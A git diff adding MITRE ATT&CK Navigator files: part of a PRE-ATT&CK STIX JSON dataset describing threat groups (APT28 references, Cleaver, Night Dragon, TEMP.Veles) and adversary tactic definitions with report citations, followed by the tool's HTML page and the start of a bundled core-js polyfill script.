27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018.", + "url": "https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/" + }, + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + }, + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "description": "SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016.", + "source_name": "SecureWorks TG-4127", + "url": "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign" + }, + { + "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.", + "source_name": "FireEye APT28 January 2017", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" + }, + { + "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.", + "source_name": "GRIZZLY STEPPE JAR", + "url": "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf" + }, + { + "source_name": "Sofacy DealersChoice", + "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/" + }, + { + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "source_name": "Palo Alto Sofacy 06-2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "source_name": "Symantec APT28 Oct 2018", + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" + }, + { + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "source_name": "ESET Zebrocy May 2019", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + }, + { + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "source_name": "Talos Seduploader Oct 2017", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "source_name": "Securelist Sofacy Feb 2018", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + }, + { + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + }, + { + "source_name": "Microsoft STRONTIUM Aug 2019", + "description": "MSRC Team. (2019, August 5). Corporate IoT \u2013 a path to intrusion. Retrieved August 16, 2019.", + "url": "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/" + } + ] + }, + { + "aliases": [ + "Cleaver", + "Threat Group 2889", + "TG-2889" + ], + "type": "intrusion-set", + "name": "Cleaver", + "description": "[Cleaver](https://attack.mitre.org/groups/G0003) is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)", + "external_references": [ + { + "external_id": "G0003", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0003" + }, + { + "description": "(Citation: Cylance Cleaver)", + "source_name": "Cleaver" + }, + { + "description": "(Citation: Dell Threat Group 2889)", + "source_name": "Threat Group 2889" + }, + { + "description": "(Citation: Dell Threat Group 2889)", + "source_name": "TG-2889" + }, + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + }, + { + "source_name": "Dell Threat Group 2889", + "description": "Dell SecureWorks. (2015, October 7). Suspected Iran-Based Hacker Group Creates Network of Fake LinkedIn Profiles. Retrieved January 14, 2016.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:46.390Z", + "id": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "modified": "2019-03-22T20:00:23.747Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Night Dragon" + ], + "type": "intrusion-set", + "name": "Night Dragon", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) is a campaign name for activity involving a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)", + "external_references": [ + { + "external_id": "G0014", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0014" + }, + { + "description": "(Citation: McAfee Night Dragon)", + "source_name": "Night Dragon" + }, + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:51.643Z", + "id": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.638Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1" + }, + { + "aliases": [ + "TEMP.Veles", + "XENOTIME" + ], + "type": "intrusion-set", + "name": "TEMP.Veles", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)", + "external_references": [ + { + "external_id": "G0088", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0088" + }, + { + "description": "(Citation: FireEye TRITON 2019)", + "source_name": "TEMP.Veles" + }, + { + "description": "The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON.(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 )", + "source_name": "XENOTIME" + }, + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + }, + { + "source_name": "FireEye TEMP.Veles 2018", + "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html " + }, + { + "description": "Miller, S., et al. (2019, April 10). TRITON Appendix C. Retrieved April 29, 2019.", + "source_name": "FireEye TEMP.Veles JSON April 2019", + "url": "https://www.fireeye.com/content/dam/fireeye-www/blog/files/TRITON_Appendix_C.html" + }, + { + "source_name": "Dragos Xenotime 2018", + "description": "Dragos, Inc.. (n.d.). Xenotime. Retrieved April 16, 2019.", + "url": "https://dragos.com/resource/xenotime/" + }, + { + "source_name": "Pylos Xenotime 2019", + "description": "Slowik, J.. (2019, April 12). A XENOTIME to Remember: Veles in the Wild. Retrieved April 16, 2019.", + "url": "https://pylos.co/2019/04/12/a-xenotime-to-remember-veles-in-the-wild/" + }, + { + "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.", + "source_name": "FireEye TEMP.Veles 2018 ", + "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html " + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T15:14:38.533Z", + "id": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.079Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "x-mitre-tactic", + "name": "Adversary OPSEC", + "description": "Adversary OPSEC consists of the use of various technologies or 3rd party services to obfuscate, hide, or blend in with accepted network traffic or system behavior. The adversary may use these techniques to evade defenses, reduce attribution, minimize discovery, and/or increase the time and effort required to analyze.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--4652199e-eef5-4523-bd18-2b5070f56cd8", + "x_mitre_shortname": "adversary-opsec", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0021", + "url": "https://attack.mitre.org/tactics/TA0021" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Build Capabilities", + "description": "Building capabilities consists of developing and/or acquiring the software, data and techniques used at different phases of an operation. This is the process of identifying development requirements and implementing solutions such as malware, delivery mechanisms, obfuscation/cryptographic protections, and call back and O&M functions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--d849365b-3496-4e5c-b599-019da1b35266", + "x_mitre_shortname": "build-capabilities", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0024", + "url": "https://attack.mitre.org/tactics/TA0024" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Establish & Maintain Infrastructure", + "description": "Establishing and maintaining infrastructure consists of building, purchasing, co-opting, and maintaining systems and services used to conduct cyber operations. An adversary will need to establish infrastructure used to communicate with and control assets used throughout the course of their operations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--2289489d-8824-42fb-8c94-411aca6f664c", + "x_mitre_shortname": "establish-&-maintain-infrastructure", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0022", + "url": "https://attack.mitre.org/tactics/TA0022" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Organizational Information Gathering", + "description": "Organizational information gathering consists of the process of identifying critical organizational elements of intelligence an adversary will need about a target in order to best attack.\u00a0 Similar to competitive intelligence, organizational intelligence gathering focuses on understanding the operational tempo of an organization and gathering a deep understanding of the organization and how it operates, in order to best develop a strategy to target it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--b9f8a273-6167-47cb-89e6-02774d067e24", + "x_mitre_shortname": "organizational-information-gathering", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0017", + "url": "https://attack.mitre.org/tactics/TA0017" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Organizational Weakness Identification", + "description": "Organizational weakness identification consists of identifying and analyzing weaknesses and vulnerabilities from the intelligence gathering phases which can be leveraged to gain access to target or intermediate target organizations of interest.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--c6b17c99-31c1-490a-8b2b-a79502d6131b", + "x_mitre_shortname": "organizational-weakness-identification", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0020", + "url": "https://attack.mitre.org/tactics/TA0020" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "People Information Gathering", + "description": "People Information Gathering consists of the process of identifying critical personnel elements of intelligence an adversary will need about a target in order to best attack.\u00a0 People intelligence gathering focuses on identifying key personnel or individuals with critical accesses in order to best approach a target for attack.\u00a0 It may involve aspects of social engineering, elicitation, mining social media sources, or be thought of as understanding the personnel element of competitive intelligence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--d90bd741-2edb-4e74-8a6f-435143ad7bbb", + "x_mitre_shortname": "people-information-gathering", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0016", + "url": "https://attack.mitre.org/tactics/TA0016" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "People Weakness Identification", + "description": "People weakness identification consists of identifying and analyzing weaknesses and vulnerabilities from the intelligence gathering phases which can be leveraged to gain access to target or intermediate target persons of interest or social trust relationships.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--f30c2753-e6b2-4186-818d-99b8b1a0322b", + "x_mitre_shortname": "people-weakness-identification", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0019", + "url": "https://attack.mitre.org/tactics/TA0019" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Persona Development", + "description": "Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--d3909f10-8193-4a94-9bbb-1f2d5cb2373e", + "x_mitre_shortname": "persona-development", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0023", + "url": "https://attack.mitre.org/tactics/TA0023" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Priority Definition Direction", + "description": "Priority definition direction consists of the process of collecting and assigning requirements for meeting Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ) as determined by leadership.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--0f0ff9a7-3c8d-4af6-8e45-f6d359553ffd", + "x_mitre_shortname": "priority-definition-direction", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0013", + "url": "https://attack.mitre.org/tactics/TA0013" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Priority Definition Planning", + "description": "Priority definition planning consists of the process of determining the set of Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ) required for meeting key strategic, operational, or tactical goals. Leadership outlines the priority definition (may be considered a goal) around which the adversary designs target selection and a plan to achieve. An analyst may outline the priority definition when in the course of determining gaps in existing KITs or KIQs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--b2a086f2-d3db-408b-b4d4-e09a1c84f940", + "x_mitre_shortname": "priority-definition-planning", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0012", + "url": "https://attack.mitre.org/tactics/TA0012" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Stage Capabilities", + "description": "Staging capabilities consists of preparing operational environment required to conduct the operation. This includes activities such as deploying software, uploading data, enabling command and control infrastructure.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--d8c84771-a3fa-4f64-914e-4db3a2be2607", + "x_mitre_shortname": "stage-capabilities", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0026", + "url": "https://attack.mitre.org/tactics/TA0026" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Target Selection", + "description": "Target selection consists of an iterative process in which an adversary determines a target by first beginning at the strategic level and then narrowing down operationally and tactically until a specific target is chosen.\u00a0 A target may be defined as an entity or object that performs a function considered for possible engagement or other action.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--84f3ed3d-c72f-45d8-a3b8-4c18c2b188e6", + "x_mitre_shortname": "target-selection", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0014", + "url": "https://attack.mitre.org/tactics/TA0014" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Technical Information Gathering", + "description": "Technical information gathering consists of the process of identifying critical technical elements of intelligence an adversary will need about a target in order to best attack.\u00a0 Technical intelligence gathering includes, but is not limited to, understanding the target's network architecture, IP space, network services, email format, and security procedures.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--0abac415-7b49-4085-93b3-662ba1258b4b", + "x_mitre_shortname": "technical-information-gathering", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0015", + "url": "https://attack.mitre.org/tactics/TA0015" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Technical Weakness Identification", + "description": "Technical weakness identification consists of identifying and analyzing weaknesses and vulnerabilities collected during the intelligence gathering phases to determine best approach based on technical complexity and adversary priorities (e.g., expediency, stealthiness).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--97689bbd-d5c4-4293-bde7-f11750cea2ec", + "x_mitre_shortname": "technical-weakness-identification", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0018", + "url": "https://attack.mitre.org/tactics/TA0018" + } + ] + }, + { + "type": "x-mitre-tactic", + "name": "Test Capabilities", + "description": "Testing capabilities takes place when adversaries may need to test capabilities externally to refine development goals and criteria and to ensure success during an operation. Certain testing may be done after a capability is staged.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-tactic--bc5c0e21-7c93-4809-a01e-249bcc42b0a2", + "x_mitre_shortname": "test-capabilities", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0025", + "url": "https://attack.mitre.org/tactics/TA0025" + } + ] + }, + { + "type": "x-mitre-matrix", + "name": "PRE-ATT&CK", + "description": "The MITRE PRE-ATT&CK Matrix\u2122 is an overview of the tactics and techniques described in the PRE-ATT&CK model. It visually aligns individual techniques under the tactics in which they can be applied. Some techniques span more than one tactic because they can be used for different purposes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "x-mitre-matrix--2e2c97c3-1908-4e2d-a711-a27d3859eb1d", + "modified": "2018-11-06T19:05:34.143Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "pre-attack", + "url": "https://attack.mitre.org/matrices/pre" + } + ], + "tactic_refs": [ + "x-mitre-tactic--b2a086f2-d3db-408b-b4d4-e09a1c84f940", + "x-mitre-tactic--0f0ff9a7-3c8d-4af6-8e45-f6d359553ffd", + "x-mitre-tactic--84f3ed3d-c72f-45d8-a3b8-4c18c2b188e6", + "x-mitre-tactic--0abac415-7b49-4085-93b3-662ba1258b4b", + "x-mitre-tactic--d90bd741-2edb-4e74-8a6f-435143ad7bbb", + "x-mitre-tactic--b9f8a273-6167-47cb-89e6-02774d067e24", + "x-mitre-tactic--97689bbd-d5c4-4293-bde7-f11750cea2ec", + "x-mitre-tactic--f30c2753-e6b2-4186-818d-99b8b1a0322b", + "x-mitre-tactic--c6b17c99-31c1-490a-8b2b-a79502d6131b", + "x-mitre-tactic--4652199e-eef5-4523-bd18-2b5070f56cd8", + "x-mitre-tactic--2289489d-8824-42fb-8c94-411aca6f664c", + "x-mitre-tactic--d3909f10-8193-4a94-9bbb-1f2d5cb2373e", + "x-mitre-tactic--d849365b-3496-4e5c-b599-019da1b35266", + "x-mitre-tactic--bc5c0e21-7c93-4809-a01e-249bcc42b0a2", + "x-mitre-tactic--d8c84771-a3fa-4f64-914e-4db3a2be2607" + ] + }, + { + "type": "marking-definition", + "id": "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-06-01T00:00:00Z", + "definition_type": "statement", + "definition": { + "statement": "Copyright 2015-2020, The MITRE Corporation. MITRE ATT&CK and ATT&CK are registered trademarks of The MITRE Corporation." + } + } + ] +} \ No newline at end of file diff --git a/public/assets/attack-navigator/favicon.ico b/public/assets/attack-navigator/favicon.ico new file mode 100644 index 0000000..49e0d61 Binary files /dev/null and b/public/assets/attack-navigator/favicon.ico differ diff --git a/public/assets/attack-navigator/index.html b/public/assets/attack-navigator/index.html new file mode 100644 index 0000000..d7adc55 --- /dev/null +++ b/public/assets/attack-navigator/index.html @@ -0,0 +1,14 @@ + + + + + ATT&CK® Navigator + + + + + + + + + diff --git a/public/assets/attack-navigator/main.js b/public/assets/attack-navigator/main.js new file mode 100644 index 0000000..0a1f562 --- /dev/null +++ b/public/assets/attack-navigator/main.js @@ -0,0 +1,14031 @@ +(window["webpackJsonp"] = window["webpackJsonp"] || []).push([["main"],{ + +/***/ "./node_modules/core-js/modules/_a-function.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_a-function.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (it) { + if (typeof it != 'function') throw TypeError(it + ' is not a function!'); + return it; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_a-number-value.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/_a-number-value.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var cof = __webpack_require__(/*! ./_cof */ "./node_modules/core-js/modules/_cof.js"); +module.exports = function (it, msg) { + if (typeof it != 'number' && cof(it) != 'Number') throw TypeError(msg); + return +it; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_add-to-unscopables.js": +/*!*************************************************************!*\ + !*** ./node_modules/core-js/modules/_add-to-unscopables.js ***! + \*************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 22.1.3.31 Array.prototype[@@unscopables] +var UNSCOPABLES = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('unscopables'); +var ArrayProto = Array.prototype; +if (ArrayProto[UNSCOPABLES] == undefined) __webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js")(ArrayProto, UNSCOPABLES, {}); +module.exports = function (key) { + ArrayProto[UNSCOPABLES][key] = true; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_advance-string-index.js": +/*!***************************************************************!*\ + !*** ./node_modules/core-js/modules/_advance-string-index.js ***! + \***************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var at = __webpack_require__(/*! ./_string-at */ "./node_modules/core-js/modules/_string-at.js")(true); + + // `AdvanceStringIndex` abstract operation +// https://tc39.github.io/ecma262/#sec-advancestringindex +module.exports = function (S, index, unicode) { + return index + (unicode ? at(S, index).length : 1); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_an-instance.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_an-instance.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (it, Constructor, name, forbiddenField) { + if (!(it instanceof Constructor) || (forbiddenField !== undefined && forbiddenField in it)) { + throw TypeError(name + ': incorrect invocation!'); + } return it; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_an-object.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_an-object.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +module.exports = function (it) { + if (!isObject(it)) throw TypeError(it + ' is not an object!'); + return it; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_array-copy-within.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/_array-copy-within.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; +// 22.1.3.3 Array.prototype.copyWithin(target, start, end = this.length) + +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var toAbsoluteIndex = __webpack_require__(/*! ./_to-absolute-index */ "./node_modules/core-js/modules/_to-absolute-index.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); + +module.exports = [].copyWithin || function copyWithin(target /* = 0 */, start /* = 0, end = @length */) { + var O = toObject(this); + var len = toLength(O.length); + var to = toAbsoluteIndex(target, len); + var from = toAbsoluteIndex(start, len); + var end = arguments.length > 2 ? arguments[2] : undefined; + var count = Math.min((end === undefined ? len : toAbsoluteIndex(end, len)) - from, len - to); + var inc = 1; + if (from < to && to < from + count) { + inc = -1; + from += count - 1; + to += count - 1; + } + while (count-- > 0) { + if (from in O) O[to] = O[from]; + else delete O[to]; + to += inc; + from += inc; + } return O; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_array-fill.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_array-fill.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; +// 22.1.3.6 Array.prototype.fill(value, start = 0, end = this.length) + +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var toAbsoluteIndex = __webpack_require__(/*! ./_to-absolute-index */ "./node_modules/core-js/modules/_to-absolute-index.js"); +var toLength = 